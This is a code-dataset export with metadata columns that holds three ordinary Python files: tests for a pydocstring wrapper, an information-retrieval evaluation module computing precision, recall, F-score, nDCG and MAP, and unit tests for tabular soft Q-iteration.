"""Test pydocstring.wrapper.docstring on a function with keyword arguments."""
@pydocstring.wrapper.docstring(indent_level=1)
def test():
"""Test docstring.
Test extended."""
pass
assert test.__doc__ == 'Test docstring.\n\n Test extended.\n\n'
assert hasattr(test, '_docstring')
assert isinstance(test._docstring, pydocstring.docstring.Docstring)
assert test._docstring.make_numpy(include_quotes=False, indent_level=1) == test.__doc__
assert test._docstring.info['summary'] == 'Test docstring.'
assert test._docstring.info['extended'] == ['Test extended.']
def test_wrapper_docstring_on_class_kwargs():
"""Test pydocstring.wrapper.docstring on a class with keyword arguments."""
@pydocstring.wrapper.docstring(indent_level=1)
class Test:
"""Test docstring.
Test extended."""
pass
test = Test()
assert test.__doc__ == 'Test docstring.\n\n Test extended.\n\n'
assert hasattr(test, '_docstring')
assert isinstance(test._docstring, pydocstring.docstring.Docstring)
assert test._docstring.make_numpy(include_quotes=False, indent_level=1) == test.__doc__
assert test._docstring.info['summary'] == 'Test docstring.'
assert test._docstring.info['extended'] == ['Test extended.']
def test_wrapper_docstring_recursive_on_func_kwargs():
"""Test pydocstring.wrapper.docstring_recursive on a function with keyword arguments."""
def test():
"""Test docstring.
Test extended."""
pass
def test2():
"""Another docstring."""
pass
def test3():
"""One more docstring."""
pass
test.test2 = test2
test.test3 = test3
# calling the wrapper
test = pydocstring.wrapper.docstring_recursive(test, indent_level=1)
docstrings = {test: 'Test docstring.\n\n Test extended.\n\n',
test.test2: 'Another docstring.',
test.test3: 'One more docstring.'}
for obj, doc in docstrings.items():
assert obj.__doc__ == doc
assert hasattr(obj, '_docstring')
assert isinstance(obj._docstring, pydocstring.docstring.Docstring)
assert obj._docstring.make_numpy(include_quotes=False, indent_level=1) == obj.__doc__
assert test._docstring.info['summary'] == 'Test docstring.'
assert test._docstring.info['extended'] == ['Test extended.']
assert test.test2._docstring.info['summary'] == 'Another docstring.'
assert test.test3._docstring.info['summary'] == 'One more docstring.'
def test_wrapper_docstring_recursive_on_class_kwargs():
"""Test pydocstring.wrapper.docstring_recursive on a class with keyword arguments."""
@pydocstring.wrapper.docstring_recursive(indent_level=1)
class Test:
"""Test docstring.
Test extended."""
def x():
"""Another docstring."""
pass
test = Test()
assert test.__doc__ == 'Test docstring.\n\n Test extended.\n\n'
assert hasattr(test, '_docstring')
assert isinstance(test._docstring, pydocstring.docstring.Docstring)
assert test._docstring.make_numpy(include_quotes=False, indent_level=1) == test.__doc__
assert test._docstring.info['summary'] == 'Test docstring.'
assert test._docstring.info['extended'] == ['Test extended.']
assert test.x.__doc__ == 'Another docstring.'
assert hasattr(test.x, '_docstring')
assert isinstance(test.x._docstring, pydocstring.docstring.Docstring)
assert test.x._docstring.info['summary'] == 'Another docstring.'
def test_wrapper_docstring_class():
"""Test pydocstring.wrapper.docstring_class."""
# method
@pydocstring.wrapper.docstring_class
class Parent:
"""Test docstring.
Test extended."""
def x():
"""Another docstring."""
pass
test = Parent()
assert test.__doc__ == ('Test docstring.\n\n'
'Test extended.\n\n'
'Methods\n'
'-------\n'
'x()\n'
' Another docstring.\n\n')
# property
@pydocstring.wrapper.docstring_class
class Parent:
"""Test docstring.
Test extended."""
@property
def x():
"""Another docstring."""
pass
test = Parent()
assert test.__doc__ == ('Test docstring.\n\n'
'Test extended.\n\n'
'Properties\n'
'----------\n'
'x\n'
' Another docstring.\n\n')
# abstract method
@pydocstring.wrapper.docstring_class
class Parent(abc.ABC):
"""Test docstring.
Test extended."""
@abc.abstractmethod
def x():
"""Another docstring."""
pass
assert Parent.__doc__ == ('Test docstring.\n\n'
'Test extended.\n\n'
'Abstract Methods\n'
'----------------\n'
'x()\n'
' Another docstring.\n\n')
# abstract properties
@pydocstring.wrapper.docstring_class
class Parent(abc.ABC):
"""Test docstring.
Test extended."""
@abc.abstractproperty
def x():
"""Another docstring."""
pass
assert Parent.__doc__ == ('Test docstring.\n\n'
'Test extended.\n\n'
'Abstract Properties\n'
'-------------------\n'
'x\n'
' Another docstring.\n\n')
# inheritance from parent
@pydocstring.wrapper.docstring_class
class Parent:
"""Test docstring.
Test extended."""
def x():
"""Another docstring."""
pass
@pydocstring.wrapper.docstring_class
class Child(Parent):
"""Overwritten docstring."""
pass
test = Child()
assert test.__doc__ == ('Overwritten docstring.\n\n'
'Test extended.\n\n'
'Methods\n'
'-------\n'
'x()\n'
' Another docstring.\n\n')
| 33.712418
| 98
| 0.573187
| 1,037
| 10,316
| 5.492768
| 0.092575
| 0.152914
| 0.109024
| 0.068645
| 0.832514
| 0.773701
| 0.705407
| 0.606215
| 0.55934
| 0.496664
| 0
| 0.004981
| 0.299341
| 10,316
| 305
| 99
| 33.822951
| 0.783066
| 0.153063
| 0
| 0.715054
| 0
| 0
| 0.173164
| 0.002511
| 0
| 0
| 0
| 0
| 0.327957
| 1
| 0.129032
| false
| 0.091398
| 0.016129
| 0
| 0.198925
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 5
|
aec42bae158989e4f80b0328c304be6488a54a6e
| 11,186
|
py
|
Python
|
ESA/evaluation.py
|
0-5-blood-prince/Search_Engine
|
92dbffafce22f45202ae1588100a618c5b782cff
|
[
"MIT"
] | null | null | null |
ESA/evaluation.py
|
0-5-blood-prince/Search_Engine
|
92dbffafce22f45202ae1588100a618c5b782cff
|
[
"MIT"
] | null | null | null |
ESA/evaluation.py
|
0-5-blood-prince/Search_Engine
|
92dbffafce22f45202ae1588100a618c5b782cff
|
[
"MIT"
] | null | null | null |
from util import *
# Add your import statements here
class Evaluation():
def queryPrecision(self, query_doc_IDs_ordered, query_id, true_doc_IDs, k):
"""
Computation of precision of the Information Retrieval System
at a given value of k for a single query
Parameters
----------
arg1 : list
A list of integers denoting the IDs of documents in
their predicted order of relevance to a query
arg2 : int
The ID of the query in question
arg3 : list
The list of IDs of documents relevant to the query (ground truth)
arg4 : int
The k value
Returns
-------
float
The precision value as a number between 0 and 1
"""
precision = 0.0
num = 0.0
for i in range(k):
if query_doc_IDs_ordered[i] in true_doc_IDs:
num+=1
#Fill in code here
precision = num/k
return precision
def meanPrecision(self, doc_IDs_ordered, query_ids, qrels, k):
"""
Computation of precision of the Information Retrieval System
at a given value of k, averaged over all the queries
Parameters
----------
arg1 : list
A list of lists of integers where the ith sub-list is a list of IDs
of documents in their predicted order of relevance to the ith query
arg2 : list
A list of IDs of the queries for which the documents are ordered
arg3 : list
A list of dictionaries containing document-relevance
judgements - Refer cran_qrels.json for the structure of each
dictionary
arg4 : int
The k value
Returns
-------
float
The mean precision value as a number between 0 and 1
"""
meanPrecision = 0.0
d = {}
for q in query_ids:
d[q] = set()
# print(q,d[q])
# print(e["query_num"])
# print(e["id"])
# print(d)
for e in qrels:
# print(e["query_num"])
# print(d.get(e["query_num"]))
# print(e["query_num"],d[e["query_num"]])
if int(e["query_num"]) in d:
d[int(e["query_num"])].add(int(e["id"]))
#Fill in code here
q = []
for i in range(len(query_ids)):
prec = self.queryPrecision(doc_IDs_ordered[i],query_ids[i],d[query_ids[i]],k)
meanPrecision += prec
q.append(prec)
meanPrecision /= len(query_ids)
return meanPrecision , q
def queryRecall(self, query_doc_IDs_ordered, query_id, true_doc_IDs, k):
"""
Computation of recall of the Information Retrieval System
at a given value of k for a single query
Parameters
----------
arg1 : list
A list of integers denoting the IDs of documents in
their predicted order of relevance to a query
arg2 : int
The ID of the query in question
arg3 : list
The list of IDs of documents relevant to the query (ground truth)
arg4 : int
The k value
Returns
-------
float
The recall value as a number between 0 and 1
"""
recall = 0.0
num = 0.0
for i in range(k):
if query_doc_IDs_ordered[i] in true_doc_IDs:
num+=1
#Fill in code here
num_relev_docs = len(true_doc_IDs)
recall = num/num_relev_docs
return recall
def meanRecall(self, doc_IDs_ordered, query_ids, qrels, k):
"""
Computation of recall of the Information Retrieval System
at a given value of k, averaged over all the queries
Parameters
----------
arg1 : list
A list of lists of integers where the ith sub-list is a list of IDs
of documents in their predicted order of relevance to the ith query
arg2 : list
A list of IDs of the queries for which the documents are ordered
arg3 : list
A list of dictionaries containing document-relevance
judgements - Refer cran_qrels.json for the structure of each
dictionary
arg4 : int
The k value
Returns
-------
float
The mean recall value as a number between 0 and 1
"""
meanRecall = 0.0
d = {}
for q in query_ids:
d[q] = set()
for e in qrels:
if int(e["query_num"]) in d:
d[int(e["query_num"])].add(int(e["id"]))
#Fill in code here
r = []
for i in range(len(query_ids)):
rec = self.queryRecall(doc_IDs_ordered[i],query_ids[i],d[query_ids[i]],k)
meanRecall += rec
r.append(rec)
meanRecall /= len(query_ids)
return meanRecall, r
def queryFscore(self, query_doc_IDs_ordered, query_id, true_doc_IDs, k):
"""
Computation of fscore of the Information Retrieval System
at a given value of k for a single query
Parameters
----------
arg1 : list
A list of integers denoting the IDs of documents in
their predicted order of relevance to a query
arg2 : int
The ID of the query in question
arg3 : list
The list of IDs of documents relevant to the query (ground truth)
arg4 : int
The k value
Returns
-------
float
The fscore value as a number between 0 and 1
"""
fscore = 0.0
precision = 0.0
recall = 0.0
num = 0.0
for i in range(k):
if query_doc_IDs_ordered[i] in true_doc_IDs:
num+=1
#Fill in code here
num_relev_docs = len(true_doc_IDs)
recall = num/num_relev_docs
precision = num/k
#Fill in code here
if precision + recall == 0:
return 0
fscore = (2*precision*recall) / (precision + recall)
return fscore
def meanFscore(self, doc_IDs_ordered, query_ids, qrels, k):
"""
Computation of fscore of the Information Retrieval System
at a given value of k, averaged over all the queries
Parameters
----------
arg1 : list
A list of lists of integers where the ith sub-list is a list of IDs
of documents in their predicted order of relevance to the ith query
arg2 : list
A list of IDs of the queries for which the documents are ordered
arg3 : list
A list of dictionaries containing document-relevance
judgements - Refer cran_qrels.json for the structure of each
dictionary
arg4 : int
The k value
Returns
-------
float
The mean fscore value as a number between 0 and 1
"""
meanFscore = 0.0
d = {}
for q in query_ids:
d[q] = set()
for e in qrels:
if int(e["query_num"]) in d:
d[int(e["query_num"])].add(int(e["id"]))
#Fill in code here
for i in range(len(query_ids)):
meanFscore += self.queryFscore(doc_IDs_ordered[i],query_ids[i],d[query_ids[i]],k)
meanFscore /= len(query_ids)
#Fill in code here
return meanFscore
def queryNDCG(self, query_doc_IDs_ordered, query_id, true_doc_IDs, k):
"""
Computation of nDCG of the Information Retrieval System
at given value of k for a single query
Parameters
----------
arg1 : list
A list of integers denoting the IDs of documents in
their predicted order of relevance to a query
arg2 : int
The ID of the query in question
arg3 : list (Dict changed)
The list of IDs of documents relevant to the query (ground truth)
arg4 : int
The k value
Returns
-------
float
The nDCG value as a number between 0 and 1
"""
nDCG = 0.0
dcg = 0.0
num = 0.0
rel = []
for i in range(k):
if query_doc_IDs_ordered[i] in true_doc_IDs.keys():
r = true_doc_IDs[query_doc_IDs_ordered[i]]
dcg += (5 - r) / math.log2(i+2)
rel.append(r)
else:
rel.append(5)
rel.sort()
idcg = 0.0
for i in range(k):
idcg += (5-rel[i])/math.log2(i+2)
if idcg==0:
return 0
# print(dcg,idcg)
nDCG = dcg / idcg
return nDCG
def meanNDCG(self, doc_IDs_ordered, query_ids, qrels, k):
"""
Computation of nDCG of the Information Retrieval System
at a given value of k, averaged over all the queries
Parameters
----------
arg1 : list
A list of lists of integers where the ith sub-list is a list of IDs
of documents in their predicted order of relevance to the ith query
arg2 : list
A list of IDs of the queries for which the documents are ordered
arg3 : list
A list of dictionaries containing document-relevance
judgements - Refer cran_qrels.json for the structure of each
dictionary
arg4 : int
The k value
Returns
-------
float
The mean nDCG value as a number between 0 and 1
"""
meanNDCG = 0.0
d = {}
for q in query_ids:
d[q] = {}
for e in qrels:
if int(e["query_num"]) in d:
d[int(e["query_num"])][int(e["id"])] = int(e["position"])
#Fill in code here
for i in range(len(query_ids)):
meanNDCG += self.queryNDCG(doc_IDs_ordered[i],query_ids[i],d[query_ids[i]],k)
meanNDCG /= len(query_ids)
return meanNDCG
def queryAveragePrecision(self, query_doc_IDs_ordered, query_id, true_doc_IDs, k):
"""
Computation of average precision of the Information Retrieval System
at a given value of k for a single query (the average of precision@i
values for i such that the ith document is truly relevant)
Parameters
----------
arg1 : list
A list of integers denoting the IDs of documents in
their predicted order of relevance to a query
arg2 : int
The ID of the query in question
arg3 : list
The list of documents relevant to the query (ground truth)
arg4 : int
The k value
Returns
-------
float
The average precision value as a number between 0 and 1
"""
avgPrecision = 0.0
num = 0.0
for i in range(k):
if query_doc_IDs_ordered[i] in true_doc_IDs:
num+=1
precision = num/(i+1)
avgPrecision += precision
#Fill in code here
if num==0:
return 0
avgPrecision /= num
return avgPrecision
def meanAveragePrecision(self, doc_IDs_ordered, query_ids, q_rels, k):
"""
Computation of MAP of the Information Retrieval System
at given value of k, averaged over all the queries
Parameters
----------
arg1 : list
A list of lists of integers where the ith sub-list is a list of IDs
of documents in their predicted order of relevance to the ith query
arg2 : list
A list of IDs of the queries
arg3 : list
A list of dictionaries containing document-relevance
judgements - Refer cran_qrels.json for the structure of each
dictionary
arg4 : int
The k value
Returns
-------
float
The MAP value as a number between 0 and 1
"""
meanAveragePrecision = 0.0
d = {}
for q in query_ids:
d[q] = set()
for e in q_rels:
if int(e["query_num"]) in d:
d[int(e["query_num"])].add(int(e["id"]))
#Fill in code here
for i in range(len(query_ids)):
meanAveragePrecision += self.queryAveragePrecision(doc_IDs_ordered[i],query_ids[i],d[query_ids[i]],k)
meanAveragePrecision /= len(query_ids)
#Fill in code here
return meanAveragePrecision
def precision_recall( self, precisions,recalls, query_ids):
###### precisions ranks * num_queries
# pass
query_tup_list = [{} for i in range(len(query_ids))]
for i in range(len(query_ids)):
q = []
for j in range(len(precisions)):
q.append((recalls[j][i],-precisions[j][i]))
q.sort()
for item in q:
if query_tup_list[i].get(item[0],None) != None:
query_tup_list[i][item[0]] = max(-item[1],query_tup_list[i][item[0]])
else:
query_tup_list[i][item[0]] = -item[1]
#interpolation 0 0.01 0.02 ... 1
interpo = 21.0
avg = [0.0 for i in range(int(interpo))]
for i in range(len(query_ids)):
for k in range(int(interpo)):
p = -1
for a, b in query_tup_list[i].items():
if a >= (k / (interpo-1) ):
p = max(p,b)
if p!=-1:
avg[k] = avg[k] + p
avg = [avg[i]/(len(query_ids)) for i in range(len(avg))]
x_axis = [i/(interpo-1) for i in range( int(interpo) ) ]
return avg, x_axis
| 24.747788
| 104
| 0.666279
| 1,853
| 11,186
| 3.933081
| 0.084188
| 0.038419
| 0.024012
| 0.030187
| 0.785538
| 0.77017
| 0.753293
| 0.744237
| 0.720362
| 0.680159
| 0
| 0.016334
| 0.233774
| 11,186
| 452
| 105
| 24.747788
| 0.833975
| 0.561952
| 0
| 0.44586
| 0
| 0
| 0.022005
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.070064
| false
| 0
| 0.006369
| 0
| 0.171975
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
aef6922d0a3b79ab5e486e5d7f01887bd129a15d
| 2,484
|
py
|
Python
|
rlutil/envs/tabular_cy/test_q_iteration.py
|
alexlioralexli/diagnosing_qlearning
|
20a4338a324c1bab79e6ca65937830529d941302
|
[
"MIT"
] | 16
|
2019-05-10T18:10:27.000Z
|
2022-02-01T09:50:01.000Z
|
rlutil/envs/tabular_cy/test_q_iteration.py
|
alexlioralexli/diagnosing_qlearning
|
20a4338a324c1bab79e6ca65937830529d941302
|
[
"MIT"
] | null | null | null |
rlutil/envs/tabular_cy/test_q_iteration.py
|
alexlioralexli/diagnosing_qlearning
|
20a4338a324c1bab79e6ca65937830529d941302
|
[
"MIT"
] | 4
|
2019-08-11T23:20:35.000Z
|
2021-04-07T07:13:40.000Z
|
import unittest
import parameterized
import numpy as np
from rlutil.envs.tabular_cy import q_iteration, tabular_env
from rlutil.envs.tabular import q_iteration as q_iteration_py
class QIterationTest(unittest.TestCase):
def setUp(self):
self.env = tabular_env.CliffwalkEnv(num_states=3, transition_noise=0.01)
def test_qiteration(self):
params = {
'num_itrs': 50,
'ent_wt': 1.0,
'discount': 0.99,
}
qvals_py = q_iteration_py.softq_iteration(self.env, **params)
qvals_cy = q_iteration.softq_iteration(self.env, **params)
self.assertTrue(np.allclose(qvals_cy, qvals_py))
def test_qevaluation_noent(self):
env = tabular_env.CliffwalkEnv(num_states=2, transition_noise=0.00)
params = {
'num_itrs': 100,
'ent_wt': 0.0,
'discount': 0.5,
}
q_values = np.zeros((env.num_states, env.num_actions))
q_values[:, 1] = 1e10
returns, _ = q_iteration.softq_evaluation(env, q_values, **params)
self.assertAlmostEqual(returns, 0.66666666)
def test_qevaluation_ent(self):
env = tabular_env.CliffwalkEnv(num_states=2, transition_noise=0.00)
params = {
'num_itrs': 100,
'ent_wt': 0.001,
'discount': 0.5,
}
q_values = np.zeros((env.num_states, env.num_actions))
q_values[:, 1] = 1e10
returns, _ = q_iteration.softq_evaluation(env, q_values, **params)
self.assertAlmostEqual(returns, 0.66666666)
def test_visitations(self):
env = tabular_env.CliffwalkEnv(num_states=3, transition_noise=0.00)
params = {
'num_itrs': 50,
'ent_wt': 0.0,
'discount': 0.99,
}
qvals_py = q_iteration_py.softq_iteration(env, **params)
visitations = q_iteration_py.compute_visitation(env, qvals_py, ent_wt=0.0, env_time_limit=1)
s_visitations = np.sum(visitations, axis=1)
tru_visits = np.array([1, 0, 0])
self.assertTrue(np.allclose(tru_visits, s_visitations))
visitations = q_iteration_py.compute_visitation(env, qvals_py, ent_wt=0.0, env_time_limit=3)
s_visitations = np.sum(visitations, axis=1)
tru_visits = np.array([1, 1, 1]) / 3.0
self.assertTrue(np.allclose(tru_visits, s_visitations))
visitations = q_iteration_py.compute_visitation(env, qvals_py, ent_wt=0.0, env_time_limit=5)
s_visitations = np.sum(visitations, axis=1)
tru_visits = np.array([2, 2, 1]) / 5.0
self.assertTrue(np.allclose(tru_visits, s_visitations))
if __name__ == '__main__':
unittest.main()
| 34.027397
| 96
| 0.688808
| 361
| 2,484
| 4.457064
| 0.199446
| 0.068365
| 0.044748
| 0.021753
| 0.771908
| 0.747048
| 0.729024
| 0.719702
| 0.719702
| 0.691112
| 0
| 0.047854
| 0.183977
| 2,484
| 72
| 97
| 34.5
| 0.74593
| 0
| 0
| 0.491803
| 0
| 0
| 0.038647
| 0
| 0
| 0
| 0
| 0
| 0.098361
| 1
| 0.081967
| false
| 0
| 0.081967
| 0
| 0.180328
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.